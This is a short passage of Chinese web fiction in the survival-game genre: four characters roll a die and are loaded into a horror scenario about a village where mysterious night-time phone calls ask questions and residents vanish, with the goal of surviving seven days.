“我有办法。”王暮霭忽然说,他掏出来一个骰子,向前一扔,三个人就蹲在地上看那骰子转,乌晏清只略微低下了头。
咔哒,骰子停在了两个点上。乌晏清紧随其后,抬了抬下巴。
“顺其自然。”梅双点了点头。
“好的,已为您四位选择S级生存副本:山村来电,游戏载入中,请做好准备。”小生缓缓道。
“加载人数已满,传送准备中。”
“请各位玩家扮演副本角色,扮演成功完成任务则通关,扮演失败则任务失败,视为通关失败。”
“重复一遍游戏宗旨:众生平等。”
“祝您,游戏愉快。”
叮。
【清水村位于两山相间,依山傍水捕蛇付税,直到有一天,家家户户多了一个奇怪的座机,每当夜晚便会响起。当你接起,它会问你一个问题。没人知道是什么问题,什么答案。也有人尝试整夜不曾接起。然而村民敏锐的发现,村子里的人,越来越少了。】
【请存活七天,并寻找真相。】